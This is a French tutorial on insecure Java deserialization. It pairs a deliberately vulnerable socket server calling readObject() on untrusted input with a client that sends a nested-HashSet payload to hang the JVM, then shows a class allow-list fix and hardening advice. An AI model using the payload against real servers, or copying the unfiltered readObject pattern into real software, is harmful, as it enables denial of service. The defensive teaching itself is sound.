Sécurité : Désérialisation Java

La cause de la faille

Le mal est fait à l'instant même où vous appelez la méthode readObject() de la classe ObjectInputStream.

Même si le programme n'arrive pas à caster l'objet, l'objet reçu a déjà été lu et est dans la mémoire.

Exception in thread "main" java.lang.ClassCastException: java.util.HashSet cannot be cast to Product
 at Server.main(Server.java:15)

Exemple d'attaque

Le code serveur :

import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;

public class Server {

   public static void main(String[] args) throws Exception {
  
      ServerSocket serverSocket = new ServerSocket(3000);
      Socket clientSocket = serverSocket.accept();

      ObjectInputStream oin = new ObjectInputStream(clientSocket.getInputStream());

      Product product = (Product) oin.readObject(); //readObject() est exécuté avant le cast
  
      System.out.println(product);

      clientSocket.close();
      serverSocket.close();
   }

}

Un code serveur simple qui lit un objet.

La méthode readObject() est lue avant le cast... Ce qui est totalement normal. Mais si l'objet est un objet malveillant, celui-ci sera en mémoire.

Maintenant voyons le code client :

import java.io.ObjectOutputStream;
import java.net.Socket;
import java.util.HashSet;
import java.util.Set;

public class Client {

   public static void main(String[] args) throws Exception {

      Socket socket = new Socket("127.0.0.1", 3000);

      ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
  
      //Un Set que la JVM n'aime pas du tout...
      Set root = new HashSet();
      Set s1 = root;
      Set s2 = new HashSet();
      for (int i = 0; i < 100; i++) {
           Set t1 = new HashSet();
           Set t2 = new HashSet();
           t1.add("foo"); // make it not equal to t2
           s1.add(t1);
           s1.add(t2);
           s2.add(t1);
           s2.add(t2);
           s1 = t1;
           s2 = t2;
      }
  
  
      oos.writeObject(root);
  
      socket.close();
  
   }

}

Ce Set va bloquer le serveur. La JVM ne va pas arriver à lire ce HashSet et donc le serveur va bloquer lors de l'exécution de la méthode readObject().

Ce genre d'attaque peut devenir encore pire qu'un déni de service. Si vous utilisez des librairies comme Apache Commons, JBoss ou Spring les attaques de ce genre peuvent servir à prendre le contrôle des serveurs (exécution de code et de commande).

Une solution

La classe suivante permet de vérifier le nom de la classe avant d'exécuter la méthode readObject().

Si la classe n'est pas la bonne, le programme renvoi une exception.

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class SafeObjectInputStream extends ObjectInputStream {

   public SafeObjectInputStream(InputStream inputStream) throws IOException, SecurityException {
      super(inputStream);
   }

   @Override
   protected Class resolveClass(ObjectStreamClass input)
   throws IOException, ClassNotFoundException, InvalidClassException {
  
      System.out.println(input.getName() + " == " + Product.class.getName() + " ?");
  
      //Si le nom de la classe n'est pas le bon
      if(!input.getName().equals(Product.class.getName())) {
           throw new InvalidClassException("Unsupported class", input.getName());
      }
  
  return super.resolveClass(input);
 }

}

Le code serveur en utilisant la nouvelle classe :

import java.net.ServerSocket;
import java.net.Socket;

import serverv1.Product;

public class Server {

   public static void main(String[] args) throws Exception {
  
      ServerSocket serverSocket = new ServerSocket(3000);
      Socket clientSocket = serverSocket.accept();

      //On utilise notre nouvelle classe
      SafeObjectInputStream oin = new SafeObjectInputStream(clientSocket.getInputStream());

      Product product = (Product) oin.readObject();
  
      System.out.println(product);

      oin.close();
      clientSocket.close();
      serverSocket.close();
   }

}

Toute tentative de lire un autre objet aboutira à l'erreur suivante :

Exception in thread "main" java.io.InvalidClassException: Unsupported class; java.util.HashSet

Notez que si votre classe contient un Set ou une autre classe sujette aux mêmes bugs ou une classe avec ou à d'autres failles de sécurité, le code précédent ne sera d'aucune aide.

Quelques conseils

  • Éviter d'utiliser la désérialisation Java sans filtres et surtout pour les sources non fiables
  • Limiter l'utilisation de librairie qui utilise la sérialisation
  • Analyser les patchs et les vulnérabilités des librairies que vous utilisez
  • Vérifier toujours les données

Vous pouvez consulter la page sur les filtres de désérialisation d'Oracle

Commentaires